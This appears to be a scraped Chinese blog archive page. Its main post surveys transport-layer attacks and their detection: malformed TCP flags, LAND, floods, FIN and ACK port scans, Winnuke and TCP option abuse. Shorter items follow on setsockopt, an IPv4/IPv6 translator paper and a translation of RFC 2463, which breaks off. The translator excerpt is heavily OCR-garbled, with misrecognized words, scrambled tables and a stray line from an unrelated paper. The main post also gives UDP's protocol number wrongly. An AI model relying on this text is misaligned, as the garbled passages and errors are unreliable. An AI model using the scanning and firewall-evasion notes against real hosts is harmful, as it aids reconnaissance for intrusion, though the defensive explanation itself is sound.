檢測(cè)來(lái)自傳輸層的攻擊及防御

功檢測(cè)來(lái)自傳輸層的攻擊及防御0.傳輸層傳輸層在IP層的上層，通常是IP頭中protocol字段中指定的協(xié)議，通常用得最多的是TCP（6）和UDP（1）。為方便理解，先列出TCP和UDP頭結(jié)構(gòu)，下面是RFC793定義的TCP頭結(jié)構(gòu)：SourcePort:源端口，16位DestinationPort:目的端口，16位SequenceNumber：序列號(hào)，32位，TCP用它來(lái)保證有序傳輸數(shù)據(jù)AcknowledgmentNumber：確認(rèn)號(hào)，32位，指明希望對(duì)方發(fā)送數(shù)據(jù)的序列號(hào)，以前的數(shù)據(jù)已經(jīng)正確接收DataOffset:數(shù)據(jù)偏移量，4位，指名數(shù)據(jù)相對(duì)于TCP頭的偏移量，可理解為T(mén)CP頭長(zhǎng)度，和IP頭長(zhǎng)度一樣，也是以4個(gè)字節(jié)為一個(gè)單位，最小為5,最大15,分別表示頭長(zhǎng)為20，60字節(jié)Reserved:保留位URG:緊急標(biāo)志，1位，有該標(biāo)志時(shí)UrgentPointer通常不為0ACK：確認(rèn)標(biāo)志，1位，有該標(biāo)志時(shí)AcknowledgmentNumber通常不為0PSH：PUSH“推”標(biāo)志，1位，有該標(biāo)志時(shí)data長(zhǎng)度通常不為0RST：重置標(biāo)志，1位，用于異常斷開(kāi)TCP連接SYN:同步標(biāo)志，1位，用于TCP連接FIN：結(jié)束標(biāo)志，1位，表示不再發(fā)送數(shù)據(jù)Window:窗口大小，16位，表示目前接收緩沖區(qū)大小，用于流量控制Checksum:校驗(yàn)和，16位，校驗(yàn)范圍為偽IP頭+TCP頭+數(shù)據(jù)UrgentPointer:緊急指針，16位，用于指示緊急數(shù)據(jù)位置Options:IP選項(xiàng)，長(zhǎng)度從0到40字節(jié)Padding:填充字節(jié)，TCP頭都要是4的倍數(shù)，不夠的以0填充下面是RFC768定義的UDP頭結(jié)構(gòu)：0781516232431++11+|Source|Destination||Port|Port|+-111+||||Length|Checksum|++11+||dataoctets...+...SourcePort:源端口，16位DestinationPort:目的端口，16位Length:長(zhǎng)度，16位，包括UDP頭和數(shù)據(jù)總長(zhǎng)Checksum:校驗(yàn)和，16位，校驗(yàn)范圍為偽IP頭+UDP頭+數(shù)據(jù)，也可以為0，表示不進(jìn)行校驗(yàn)注：偽IP頭是計(jì)算TCP、UDP校驗(yàn)和需要用到的IP頭數(shù)據(jù)，包括源地址（32位）、目的地址（32位）、協(xié)議（8位）和TCP、UDP長(zhǎng)度（16位）這4個(gè)字段，其他字段置0。1.異常包TCP/UDP:端口值為0的包；校驗(yàn)和錯(cuò)誤的包TCP標(biāo)志位異常包：SYN只能單獨(dú)存在或只能和ACK共存，和其他標(biāo)志共存就是異常包；沒(méi)有標(biāo)志或標(biāo)志全置的包；有ACK標(biāo)志但AcknowledgmentNumber為0的包；有SYN標(biāo)志但SequenceNumber為0的包；有URG標(biāo)志但UrgentPointer為0,或沒(méi)有URG標(biāo)志但UrgentPointer不為0的包；RST和除ACK標(biāo)志之外的其他標(biāo)志共存的包；這種攻擊標(biāo)志很明顯，防御也很容易，可以做到100%檢測(cè)并阻斷；2.LAND攻擊TCP層的攻擊了，不過(guò)在網(wǎng)絡(luò)層就可以防護(hù)；攻擊方發(fā)送源地址和目的地址相同的TCPSYN包，對(duì)老的某些操作系統(tǒng)就會(huì)發(fā)SYNACK包給自身，建立空連接，最終消耗盡自身資源，現(xiàn)在的操作系統(tǒng)已經(jīng)不會(huì)那么傻了，這種攻擊也可以做到100%檢測(cè)并阻斷；3.Flood攻擊synflood:是TCP協(xié)議的最大弱點(diǎn)了，對(duì)synflood攻擊的分析在另一篇文章中詳細(xì)說(shuō)明了，理論上是無(wú)法真正防御的，只能進(jìn)行一定程度的緩解；UDPflood：就是發(fā)送大量UDP包阻塞目的機(jī)通信，由于UDP是非連接協(xié)議，因此只能通過(guò)統(tǒng)計(jì)的方法來(lái)判斷，很難通過(guò)狀態(tài)檢測(cè)來(lái)發(fā)現(xiàn)，只能通過(guò)流量限制和統(tǒng)計(jì)的方法緩解；對(duì)于有些協(xié)議，服務(wù)器部分的計(jì)算量會(huì)遠(yuǎn)大于客戶端的計(jì)算量，如DNS，野蠻模式的IKE等，這些情況下flood攻擊更容易形成DOS。4.端口掃描端口掃描往往是網(wǎng)絡(luò)入侵的前奏,通過(guò)端口掃描，可以了解目標(biāo)機(jī)器上打開(kāi)哪些服務(wù)，有的服務(wù)是本來(lái)就是公開(kāi)的，但可能有些端口是管理不善誤打開(kāi)的或?qū)ｉT(mén)打開(kāi)作為特殊控制使用但不想公開(kāi)的，通過(guò)端口掃描可以找到這些端口，而且根據(jù)目標(biāo)機(jī)返回包的信息，甚至可以進(jìn)一步確定目標(biāo)機(jī)的操作系統(tǒng)類(lèi)型，從而展開(kāi)下一步的入侵。4.1TCP掃描按照RFC，當(dāng)試圖連接一個(gè)沒(méi)有打開(kāi)的TCP端口時(shí)，服務(wù)器會(huì)返回RST包；連接打開(kāi)的TCP端口時(shí)，服務(wù)器會(huì)返回SYNACK包合法連接掃描：connect掃描：如果是打開(kāi)的端口，攻擊機(jī)調(diào)用connect函數(shù)完成三次握手后再主動(dòng)斷開(kāi)；關(guān)閉的端口會(huì)連接識(shí)別SYN掃描：攻擊機(jī)只發(fā)送SYN包，如果打開(kāi)的端口服務(wù)器會(huì)返回SYNACK，攻擊機(jī)可能會(huì)再發(fā)送RST斷開(kāi)；關(guān)閉的端口返回RST；異常包掃描：FIN掃描：攻擊機(jī)發(fā)送FIN標(biāo)志包，Windows系統(tǒng)不論端口是否打開(kāi)都回復(fù)RST；但UNIX系統(tǒng)端口關(guān)閉時(shí)會(huì)回復(fù)RST，打開(kāi)時(shí)會(huì)忽略該包；可以用來(lái)區(qū)別Windows和UNIX系統(tǒng)；ACK掃描：攻擊機(jī)發(fā)送ACK標(biāo)志包，目標(biāo)系統(tǒng)雖然都會(huì)返回RST包，但兩種RST包有差異；對(duì)于合法連接掃描，如果SYN包確實(shí)正確的話，是可以通過(guò)防火墻的，防火墻只能根據(jù)一定的統(tǒng)計(jì)信息來(lái)判斷，在服務(wù)器上可以通過(guò)netstat查看連接狀態(tài)來(lái)判斷是否有來(lái)自同一地址的TIME_WAIT或SYN_RECV狀態(tài)來(lái)判斷。對(duì)于異常包掃描，如果沒(méi)有安裝防火墻，確實(shí)會(huì)得到相當(dāng)好的掃描結(jié)果，在服務(wù)器上也看不到相應(yīng)的連接狀態(tài)；但如果安裝了防火墻的話，由于這些包都不是合法連接的包，通過(guò)狀態(tài)檢測(cè)的方法很容易識(shí)別出來(lái)（注意：對(duì)于標(biāo)準(zhǔn)的Linux內(nèi)核所帶防火墻netfilter的TCP狀態(tài)檢測(cè)的實(shí)現(xiàn)，ACK和FIN掃描是可以通過(guò)的，需要修改才能防御）。4.2UDP掃描當(dāng)試圖連接一個(gè)沒(méi)有打開(kāi)的UDP端口時(shí)，大部分類(lèi)型的服務(wù)器可能會(huì)返回一個(gè)ICMP的端口不可達(dá)包，但也可能無(wú)任何回應(yīng)，由系統(tǒng)具體實(shí)現(xiàn)決定；對(duì)于打開(kāi)的端口，服務(wù)器可能會(huì)有包返回，如DNS，但也可能沒(méi)有任何響應(yīng)。UDP掃描是可以越過(guò)防火墻的狀態(tài)檢測(cè)的，由于UDP是非連接的，防火墻會(huì)把UDP掃描包作為連接的第一個(gè)包而允許通過(guò)，所以防火墻只能通過(guò)統(tǒng)計(jì)的方式來(lái)判斷是否有UDP掃描。5.TCP緊急指針攻擊Winnuke:對(duì)老的Windows系統(tǒng)，對(duì)TCP139端口發(fā)送帶URG標(biāo)志的包，會(huì)造成系統(tǒng)的崩潰，特征明顯，防火墻可以100%防御，但也可能誤傷；6.TCP選項(xiàng)攻擊相對(duì)IP選項(xiàng)，TCP選項(xiàng)利用率要高很多，很多正常包中都要用到，TCP選項(xiàng)攻擊包括：1）非法類(lèi)型選項(xiàng)：正常的選項(xiàng)類(lèi)型值為0、1、2、3、8、11、23、13,其他類(lèi)型的出現(xiàn)是可疑的（類(lèi)型4,5,6,7雖然定義了但被類(lèi)型8取代，正常情況下也是不用的）；2）時(shí)間戳：用于搜集目的機(jī)的信息；3）選項(xiàng)長(zhǎng)度不匹配:選項(xiàng)中的長(zhǎng)度和TCP頭中說(shuō)明的TCP頭長(zhǎng)度計(jì)算出的選項(xiàng)長(zhǎng)度不一致;4）選項(xiàng)長(zhǎng)度為0：非0、1類(lèi)型的選項(xiàng)長(zhǎng)度為0，是非法的；5）選項(xiàng)缺失，一般SYN包中都要有MSS選項(xiàng)，沒(méi)有的話反而不正常；6.總結(jié)傳輸層的攻擊也屬于特征比較明顯的類(lèi)型，除synflood外防護(hù)也比較容易，由于模式固定，也適合硬件實(shí)現(xiàn)。synflood是TCP永遠(yuǎn)的痛，是TCP設(shè)計(jì)之初沒(méi)有仔細(xì)考慮到的，在一些新的協(xié)議如SCTP（132），已經(jīng)考慮到此因素，但由于TCP應(yīng)用太廣泛，要取代TCP基本不太可能。第1部分/共1部分[1]*相關(guān)文章proc文件系統(tǒng)VPN技術(shù)詳解（八）BasicIntegerOverflowsLinux7.xTCPWrapper和xinetd淺談收費(fèi)網(wǎng)站遇到的威脅since2003-12版權(quán)所有（C）2003-2006一孔之見(jiàn)Allrightsreserved滬ICP備05053386號(hào)-作者：kyohiroyuki2006年05月31日，星期三15:57回復(fù)（1）|引用（0）加入博采?Setsockopt選項(xiàng)有時(shí)候我們要控制套接字的行為（如修改緩沖區(qū)的大小），這個(gè)時(shí)候我們就要控制套接字的選項(xiàng)了.以下資料均從網(wǎng)上收集得到getsockopt和setsockopt獲得套接口選項(xiàng)：[code:1:59df4ce128]intgetsockopt（intsockfd,intlevel,intoptname,void*optval,socklen_t*opteln）設(shè)置套接口選項(xiàng)：intsetsockopt（intsockfd,intlevel,intoptname,constvoid*optval,socklen_t*opteln）sockfd（套接字）：指向一個(gè)打開(kāi)的套接口描述字level:（級(jí)別）：指定選項(xiàng)代碼的類(lèi)型。SOL_SOCKET:基本套接口IPPROTO_IP:IPv4套接口IPPROTO_IPV6:IPv6套接口IPPROTO_TCP:TCP套接口optname（選項(xiàng)名）：選項(xiàng)名稱(chēng)optval（選項(xiàng)值）：是一個(gè)指向變量的指針類(lèi)型：整形，套接口結(jié)構(gòu)，其他結(jié)構(gòu)類(lèi)型:linger{},timeval{}optlen（選項(xiàng)長(zhǎng)度）：optval的大小返回值：標(biāo)志打開(kāi)或關(guān)閉某個(gè)特征的二進(jìn)制選項(xiàng)-作者：kyohiroyuki2006年04月3日，星期一12:39回復(fù)（0）|引用（0）加入博采?偽裝IP地址的洪水Ping攻擊-作者：kyohiroyuki2006年03月31日，星期五20:17回復(fù)（0）|引用（0）加入博?ipv4/ipv6轉(zhuǎn)換23.3.2應(yīng)用層網(wǎng)關(guān)(ApplicationLevelGaleway,ALG)通過(guò)上面的分析叮以看出NAT-PT本身不轉(zhuǎn)換數(shù)據(jù)包的負(fù)載部分，因此NA'I-PI'對(duì)在負(fù)載中拚帶了IP地址的應(yīng)用無(wú)能為力.應(yīng)用層網(wǎng)關(guān)(ALG)[NAT-TERMI就是為了解決這種情況而采用的種代理機(jī)制，該代理允許這種應(yīng)用在v6節(jié)點(diǎn)和v4節(jié)點(diǎn)通訊，所以不同應(yīng)用的ALG和NAT-PT聯(lián)合使用可以提供對(duì)多種應(yīng)用層的支持.該文設(shè)計(jì)的轉(zhuǎn)換器實(shí)現(xiàn)了F1P-ALG和SIP-ALG,下肉分別介紹FIT-AI,(;的實(shí)現(xiàn):文件傳輸協(xié)議FTP是目前因特網(wǎng)上最廣泛的應(yīng)用之一，形成了網(wǎng)絡(luò)主要流量.按照文獻(xiàn)[17』的要求，F(xiàn)I7)過(guò)程分為兩步進(jìn)行:控制會(huì)話和數(shù)據(jù)交換會(huì)話.因?yàn)樵诳刂茣?huì)話過(guò)程中,FTP負(fù)載中包含了為數(shù)據(jù)交換會(huì)話準(zhǔn)備的.P地址和TCP端口號(hào)，所以FrP-ALG必須提供透明的轉(zhuǎn)換.運(yùn)行在v4節(jié)點(diǎn)上的FIT應(yīng)用程序,在客戶端向服務(wù)器端發(fā)送的PORT命令中，以及服務(wù)器端向客戶端返回的成功應(yīng)答PASV命令中均以ASCII方式承載rIP地址和端口號(hào).然而，文獻(xiàn)1151將IP,,4下的FTP兩個(gè)命令分別V,展成EPRT和EPSV,并計(jì)劃逐步停止使用PORT和PASV命令.另外在IPv4中用來(lái)說(shuō)明進(jìn)人被動(dòng)模式的227命令，在「Pv6中被229取代SIP-ALG的實(shí)現(xiàn)SIP(SessionInitiationProtocol)是IETF定義的F一代互聯(lián)網(wǎng)傳翰的信令協(xié)議!18111910這種協(xié)議在IPv4/IPv6轉(zhuǎn)換時(shí)存在和FP1,類(lèi)似的問(wèn)題，即在信令消息中以ASCII碼方式攜帶了IP地址.轉(zhuǎn)換器實(shí)現(xiàn)r對(duì)SIP各消息包頭以及SDP中IP地址相關(guān)性分析，完成了在住冊(cè)服務(wù)，重定向服務(wù)，信令路由等情況下IPv4SIP信令和IPv6SIP信令的轉(zhuǎn)換3.3.3軟件結(jié)構(gòu)的特點(diǎn)該轉(zhuǎn)換器完全基于Linux平臺(tái)，為了提高性能，采用了以下技術(shù)：采用多進(jìn)程方式，提高了轉(zhuǎn)換器的并發(fā)程度，使協(xié)議轉(zhuǎn)換和數(shù)據(jù)包的轉(zhuǎn)發(fā)做到廠幾乎同時(shí)進(jìn)行.對(duì)IPv4中地址解析協(xié)議ARP和IPv6中鄰居發(fā)現(xiàn)協(xié)議1482003.25計(jì)笠機(jī)丁段與俞用ND采用緩存方式，減少不必要的重復(fù)解析，加快了地址解析和查找的速度在杏找映射隊(duì)列時(shí)，采用哈希散列表(hashtable)技術(shù)提高杳找的速度和精度，4實(shí)驗(yàn)和性能測(cè)試在這部分，通過(guò)一個(gè)實(shí)驗(yàn)網(wǎng)(見(jiàn)圖3)對(duì)轉(zhuǎn)換器的性能進(jìn)行了測(cè)試.這個(gè)實(shí)驗(yàn)網(wǎng)分別由運(yùn)行IPv4協(xié)議和「Pv6協(xié)議主機(jī)構(gòu)成.轉(zhuǎn)換器安裝在一臺(tái)設(shè)置了兩塊網(wǎng)K的計(jì)算機(jī)」一并且作為IPv6局域網(wǎng)訪問(wèn)”外界"IPv4網(wǎng)絡(luò)的網(wǎng)關(guān).其中IM主機(jī)全部采用Linux7.2作為操作系統(tǒng)，實(shí)驗(yàn)時(shí)將IPA協(xié)議棧關(guān)閉，使其成為純IPv6主機(jī).網(wǎng)絡(luò)為loom快速以太網(wǎng)IM網(wǎng)絡(luò)內(nèi)部設(shè)置的應(yīng)用服務(wù)包括：WWW服務(wù)(采用Apache2.0眼務(wù)器)FTP服務(wù)(Pmftp1.0)電子郵件服務(wù)器(sendmail8.0域名服務(wù)器DNS(BIND9.1.3)遠(yuǎn)程登錄(Td-td0.17,包含在xinetd中)Internet.IPv6DNS圈3IPv6"侶IPv6PIPSERVER實(shí)臉網(wǎng)絡(luò)的蕊本拓?fù)浣Y(jié)構(gòu)對(duì)轉(zhuǎn)換器的測(cè)試包括功能測(cè)試和性能測(cè)試兩部分功能測(cè)試主要是考察轉(zhuǎn)換器是否正確完成了上述的各種應(yīng)該達(dá)到的轉(zhuǎn)換功能.性能測(cè)試是在功能測(cè)試的基礎(chǔ)卜對(duì)某此重q應(yīng)用〔如FTP）測(cè)試其轉(zhuǎn)換的效率對(duì)WWW服務(wù)和DNS-ALG的測(cè)試.使用Manila瀏覽器（Linux「支持IPv6的瀏覽器）采用域名方式成功訪問(wèn)到了外部IPv4網(wǎng)站，同時(shí)也成功收發(fā)到了郵件,證明轉(zhuǎn)換器中I）NS-ALG工作正常，對(duì)WWW服務(wù)和郵件服務(wù)進(jìn)行廠成功的轉(zhuǎn)換采用Ping命令針對(duì)轉(zhuǎn)換器多進(jìn)程方式和單進(jìn)程方式進(jìn)行性能測(cè)試，結(jié)果如表1所示.衰1采用多進(jìn)租和單進(jìn)程的轉(zhuǎn)接韶性能的比較最大RTT值（ms）I平馬RTT值（廠0.82010.5660.791】一0746對(duì)FTP轉(zhuǎn)換的測(cè)試.由于對(duì)FTI〕的轉(zhuǎn)換不僅涉及到數(shù)據(jù)包頭，還包括負(fù)載地址分析，而且大量文件傳輸本身對(duì)網(wǎng)絡(luò)（下轉(zhuǎn)205頁(yè)）萬(wàn)方數(shù)據(jù)要部分，今后的研究是進(jìn)一步優(yōu)化圖像無(wú)線傳輸?shù)睦@射性能會(huì)造成定壓力，所以文章對(duì)轉(zhuǎn)換器在應(yīng)用k'I'l'情況下的性能進(jìn)行r單獨(dú)測(cè)試測(cè)試時(shí)將IPv4/JPv6轉(zhuǎn)換器與純IPv4情況下自身轉(zhuǎn)發(fā)能力進(jìn)行7比較.見(jiàn)表2.衰ZFTP吞吐.的比較刁||川月月Pv4/IPv6轉(zhuǎn)換器卜義件大?。∕）F10.7221.4542.9164.388583延遲（ue）12.6125.1450.7975.66101.40吞吐.（Khytes/-）850.37853僅呂料.84850.91w53INVIPA轉(zhuǎn)發(fā)1"Kb"./.rEj!-!"716.5427.36784.2154.68_784.8_081.62788.79108.94787.94慮，采用雙找技術(shù)對(duì)大規(guī)模IM網(wǎng)絡(luò)來(lái)說(shuō)只可能是個(gè)迫不得已的選擇.與已有龐大的IPv4網(wǎng)絡(luò)的互通必然要借助于轉(zhuǎn)換器.當(dāng)然文章設(shè)計(jì)和實(shí)現(xiàn)的轉(zhuǎn)換器仍有需要改進(jìn)的地方；例如可以考慮采用隧道封裝技術(shù)解決轉(zhuǎn)換器對(duì)網(wǎng)絡(luò)端到端連接性的影響，采用硬件加速方式進(jìn)一步提高轉(zhuǎn)換器對(duì)數(shù)據(jù)包處理的性能,采用固定映射方式解決組播在跨越v4/v6網(wǎng)絡(luò)時(shí)遇到的v4和v6組播地址不統(tǒng)一問(wèn)題等等.（收稿日期:2003年l月）L述測(cè)試表明:筆者設(shè)計(jì)和開(kāi)發(fā)的轉(zhuǎn)換器不僅在功能上滿足各項(xiàng)指標(biāo),在性能卜也有所提高.5需要進(jìn)一步討論的問(wèn)題由于網(wǎng)絡(luò)協(xié)議轉(zhuǎn)換的復(fù)雜性在設(shè)計(jì)和實(shí)現(xiàn)轉(zhuǎn)換器的時(shí)候還存在需要進(jìn)一步討論的問(wèn)題.協(xié)議轉(zhuǎn)換的限制.盡管在兩種IP協(xié)議之間存在基本的映射，但還是有一些字段，選項(xiàng)和擴(kuò)展無(wú)法轉(zhuǎn)換,結(jié)果會(huì)導(dǎo)致信息的缺失，從而可能影響到應(yīng)用程序.另一方面,IPv6規(guī)范中定義的一t擴(kuò)展如認(rèn)證,封裝和擴(kuò)充路由等是IPv4特征的超集.所以是完全透明的，沒(méi)有信息缺失的轉(zhuǎn)換包頭是不可能的.不過(guò)目前大多教應(yīng)用并沒(méi)有使用IP頭的擴(kuò)展字段，所以這些信息的缺失對(duì)數(shù)據(jù)的傳愉并不會(huì)造成實(shí)質(zhì)性的影響.拓?fù)湎拗剖褂棉D(zhuǎn)換器在拓?fù)渖嫌幸欢ㄏ拗?為了保證轉(zhuǎn)換的連續(xù)性，所有同一個(gè)會(huì)話流的請(qǐng)求和響應(yīng)都必須經(jīng)過(guò)同一個(gè)轉(zhuǎn)換器確保這一點(diǎn)的一個(gè)方法是將轉(zhuǎn)換器安裝在邊界路由器上這樣由這個(gè)路由器控制的網(wǎng)絡(luò)上的所有數(shù)據(jù)包都必須經(jīng)過(guò)這個(gè)路由器進(jìn)出網(wǎng)絡(luò)，從而保證轉(zhuǎn)換器正常工作.影響了端到端的連接性.由于轉(zhuǎn)換器要打斷網(wǎng)絡(luò)的正常連接在網(wǎng)絡(luò)連接的中間進(jìn)行一系列的處理,所以轉(zhuǎn)換器的一個(gè)最重要的限制是影響了端到端的網(wǎng)絡(luò)和傳愉層的連接性〔例如IPSec的使用).有些應(yīng)用要考慮某種程度的地址穩(wěn)定性.轉(zhuǎn)換器對(duì)動(dòng)態(tài)地址的重用不適于這些應(yīng)用.對(duì)有這種需要的主機(jī)(多數(shù)是服務(wù)器)，解決方法是將映射地址配里成靜態(tài)映射方式.這將確保該主機(jī)的映射地址的相對(duì)稼定,從而提高上層應(yīng)用服務(wù)的健壯性.6結(jié)論該文設(shè)計(jì)和實(shí)現(xiàn)的v4/v6轉(zhuǎn)換器，對(duì)于以后建設(shè)大規(guī)模IPv6網(wǎng)絡(luò)具有重要的意義.因?yàn)槌鲇诘刂房锓托阅苌系目紖⒖嘉墨I(xiàn)-作者：kyohiroyuki2006年03月30日，星期四17:08回復(fù)(0)|引用(0)加入博?IPv4/IPv6過(guò)渡機(jī)制的研究與實(shí)現(xiàn)-作者：kyohiroyuki2006年03月30日，星期四17:07回復(fù)（0）|引用（0）加入博?RFC-2643中文組織：中國(guó)互動(dòng)出版網(wǎng)（/）RFC文檔中文翻譯計(jì)劃(/compters/emook/aboutemook.htm)E-mail:ouyang@譯者：netjnn(netjnnnetjnn@263.net)發(fā)布時(shí)間：2001-6-25版權(quán)：本中文翻譯文檔版權(quán)歸中國(guó)互動(dòng)出版網(wǎng)所有。可以用于非商業(yè)用途自由轉(zhuǎn)載，但必須保留本文檔的翻譯及版權(quán)信息。NetworkWorkingGroupA.ContaRequestforComments:2463LucentObsoletes:1885S.DeeringCategory:StandardsTrackCiscoSystemsDecember1998針對(duì)因特網(wǎng)協(xié)議第六版（Ipv6）的因特網(wǎng)控制報(bào)文協(xié)議（ICMPv6）規(guī)范(InternetControlMessageProtocol(ICMPv6)fortheInternetProtocolVersion6(IPv6)Specification)關(guān)于本文的說(shuō)明這個(gè)文檔說(shuō)明了一個(gè)為Internet通訊的Internet標(biāo)準(zhǔn)跟蹤協(xié)議，而且它的改進(jìn)希望得到討論和建議。請(qǐng)參考"Internet正式協(xié)議標(biāo)準(zhǔn)"（標(biāo)準(zhǔn)1）的當(dāng)前版本來(lái)得到本協(xié)議的標(biāo)準(zhǔn)化陳述.本文的分發(fā)不受限制.版權(quán)聲明版權(quán)所有Internet協(xié)會(huì)（1998）.保留所有權(quán)利。概述這篇文檔說(shuō)明了一系列基于第六版本的因特網(wǎng)協(xié)議（IPv6）的因特網(wǎng)控制報(bào)文協(xié)（ICMPv6）使用的報(bào)文。目錄TOC\o"1-5"\h\z簡(jiǎn)介2ICMPv622.1報(bào)文的總體格式22.2報(bào)文源地址的測(cè)定32.3報(bào)文校驗(yàn)和的計(jì)算32.4報(bào)文處理規(guī)則3ICMPv6差錯(cuò)報(bào)文43.1目的不可達(dá)報(bào)文43.2包過(guò)大報(bào)文53.3超時(shí)報(bào)文63.4參數(shù)出錯(cuò)報(bào)文6ICMPv6信息報(bào)文74.1回顯請(qǐng)求報(bào)文74.2回顯應(yīng)答報(bào)文7安全考慮8ICMP報(bào)文的認(rèn)證和加密8ICMP攻擊8.參考文獻(xiàn).致謝.作者地址10附錄A——自RFC1885以來(lái)的改變10完整的版權(quán)聲明11簡(jiǎn)介第六版本的因特網(wǎng)協(xié)議是一個(gè)IP協(xié)議的新版本.IPv6使用了為IPv4定義的ICMP協(xié)議，但是有一些改變?最后的協(xié)議被稱(chēng)為ICMPv6.它在IPv6的下一首部字段中對(duì)應(yīng)的值為58。這篇文檔描述了在ICMPv6中使用的一系列控制報(bào)文的格式。它并沒(méi)有描述使用這些報(bào)文以達(dá)到某種功能比如發(fā)現(xiàn)路徑的最大傳輸單元(MTU)的具體過(guò)程。這些具體的過(guò)程是在其他的文檔中描述的(比如：[PMTU].)。其他的文檔有可能介紹了一些另外的ICMPv6的報(bào)文類(lèi)型，比如鄰站探測(cè)報(bào)文[IPV6-DISC],他們都服從在這篇文檔第二節(jié)中所闡述的ICMPv6報(bào)文的整體規(guī)則。在IPv6規(guī)范和IPv6路由和尋址規(guī)范中所定義的術(shù)語(yǔ)也被應(yīng)用到這篇文檔中。這篇文檔中使用的關(guān)鍵字：“必須”，“必須不”，“要求”，“將要”，“將不會(huì)”，“應(yīng)該”，“不應(yīng)該”，“推薦”，“可能”，“任選”。它們?cè)赗FC-2119中有詳細(xì)的解釋。ICMPv6IPv6節(jié)點(diǎn)使用ICMPv6來(lái)報(bào)告在傳送包的過(guò)程中遇到的錯(cuò)誤，而且用它來(lái)完成其它網(wǎng)絡(luò)層的功能，比如診斷(ICMPv6ping)。ICMPv6是IPv6內(nèi)在的一部分，而且每一個(gè)IPv6節(jié)點(diǎn)都必須充分的應(yīng)用它。2.1報(bào)文的總體格式ICMPv6報(bào)文總體上被分為兩種類(lèi)型：差錯(cuò)報(bào)文和信息報(bào)文。差錯(cuò)報(bào)文的識(shí)別是通過(guò)在消息類(lèi)型字段值的高比特位中設(shè)置0。因此，差錯(cuò)報(bào)文的報(bào)文類(lèi)型從0到127；信息報(bào)文的類(lèi)型從128到255。這篇文檔為以下的ICMPv6報(bào)文定義了報(bào)文格式：ICMPv6差錯(cuò)報(bào)文目的不可達(dá)（3.1節(jié)）包過(guò)大（3.2節(jié)）超時(shí)（3.3節(jié)）參數(shù)出錯(cuò)（3.4節(jié)）ICMPv6消息報(bào)文128回顯請(qǐng)求（4.1節(jié)）129回顯應(yīng)答（4.2節(jié)）每一個(gè)ICMPv6報(bào)文在傳送時(shí)會(huì)被加上一個(gè)IPv6基本首部和若干（或沒(méi)有）IPv6擴(kuò)展首部。ICMPv6首部的識(shí)別是通過(guò)在它之前離它最近的首部中的下一首部字段。ICMPv6在該字段中對(duì)應(yīng)的值為58。（注意：這和在IPv4中ICMP的識(shí)別有很大的不同）ICMPv6報(bào)文有如下的總體格式：071531類(lèi)型代碼校驗(yàn)和報(bào)文體類(lèi)型字段描述了報(bào)文的類(lèi)型。它的值決定了后面數(shù)據(jù)的格式。代碼字段是依賴于報(bào)文類(lèi)型的。在報(bào)文類(lèi)型的基礎(chǔ)上，它被用來(lái)在基本的類(lèi)型基礎(chǔ)上創(chuàng)建更細(xì)的報(bào)文等級(jí)。校驗(yàn)和字段是用來(lái)在ICMPv6報(bào)文中檢驗(yàn)數(shù)據(jù)的完整性和部分IPv6首部的。2.2報(bào)文源地址的測(cè)定一個(gè)送出ICMPv6報(bào)文的節(jié)點(diǎn)在計(jì)算校驗(yàn)和以前要在IPv6首部中決定源地址和目標(biāo)IPv6地址。如果節(jié)點(diǎn)有多于一個(gè)的單目地址，它必須按以下的原則選定源地址：（a）如果報(bào)文是對(duì)發(fā)往該節(jié)點(diǎn)的某一單目地址進(jìn)行響應(yīng)的，那應(yīng)答報(bào)文的源地址必須是這個(gè)單目地址。如果報(bào)文是對(duì)發(fā)往該節(jié)點(diǎn)為組員的多播組或任意播組的報(bào)文進(jìn)行響應(yīng)的，那麼應(yīng)答報(bào)文的源地址必須是一個(gè)屬于接收到多播或任意播包接口的單目地址。如果報(bào)文是對(duì)發(fā)往一個(gè)并不屬于該節(jié)點(diǎn)地址的報(bào)文進(jìn)行響應(yīng)的，那麼源地址必須是屬于該節(jié)點(diǎn)且最有利于診斷錯(cuò)誤的那個(gè)單目地址。比如，如果報(bào)文是對(duì)一個(gè)不能正常轉(zhuǎn)發(fā)包的行為進(jìn)行響應(yīng)的，源地址就是那個(gè)屬于轉(zhuǎn)發(fā)包失敗的接口的單目地址。另外，在轉(zhuǎn)發(fā)報(bào)文到目的地時(shí)，必須使用節(jié)點(diǎn)的路由表來(lái)決定由哪個(gè)接口轉(zhuǎn)發(fā)報(bào)文。屬于那個(gè)接口的單目地址作為報(bào)文的源地址。2.3報(bào)文校驗(yàn)和的計(jì)算校驗(yàn)和是整個(gè)ICMPv6報(bào)文的一個(gè)16位字的補(bǔ)數(shù)和。校驗(yàn)和的計(jì)算起始于ICMPv6的類(lèi)型字段并被加上一個(gè)IPv6的偽首部(在IPv68.1節(jié)中有介紹)。在偽首部中下一首部字段的值為58。(注意：在ICMPv6的校驗(yàn)和計(jì)算中加上偽首部是從IPv4變化而來(lái)的；想了解改變的原理請(qǐng)查看IPv6。)為了計(jì)算校驗(yàn)和，校驗(yàn)和字段被設(shè)置為0。2.4報(bào)文處理規(guī)則在處理ICMPv6報(bào)文時(shí)，應(yīng)用程序必須遵守以下的規(guī)則：(來(lái)自RFC-1122)如果收到了一個(gè)不知道類(lèi)型的ICMPv6差錯(cuò)報(bào)文，它必須被送往上層協(xié)議。如果收到了一個(gè)不知道類(lèi)型的ICMPv6信息報(bào)文，它必須被悄悄的丟棄。每一個(gè)ICMPv6差錯(cuò)報(bào)文(類(lèi)型＜128)在不超過(guò)最小IPv6最大傳輸單元的情況下，包括盡可能大的引起出錯(cuò)的包。在以上的情況中，網(wǎng)絡(luò)層協(xié)議把ICMPv6差錯(cuò)報(bào)文傳送到上層協(xié)議的進(jìn)程。原包中的上層協(xié)議字段(在ICMPv6差錯(cuò)報(bào)文的報(bào)文體中)被取出，用來(lái)選擇合適的上一層進(jìn)程來(lái)處理錯(cuò)誤。如果原包含有一個(gè)很大的擴(kuò)展首部，那麼有可能上層協(xié)議類(lèi)型并沒(méi)有包含在ICMPv6差錯(cuò)報(bào)文中。原因是為了滿足最小IPv6最大傳輸單元的限制，原包被切斷了。在這種情況下，差錯(cuò)報(bào)文在任何IPv6層處理后被悄悄的丟棄。如果接收到的情況為下列之一，則ICMPv6差錯(cuò)報(bào)文必須不被發(fā)出。(e.1)—個(gè)ICMPv6差錯(cuò)報(bào)文，或者(e.2)—個(gè)預(yù)定發(fā)往IPv6多目地址的包(這種情況有兩個(gè)例外：(1)包過(guò)大報(bào)文——3.2節(jié)一一為了允許路徑MTU發(fā)現(xiàn)為IPv6多播工作(2)參數(shù)出錯(cuò)報(bào)文，代碼值為2——3.4節(jié)一一通過(guò)將選項(xiàng)類(lèi)型的最高兩比特位設(shè)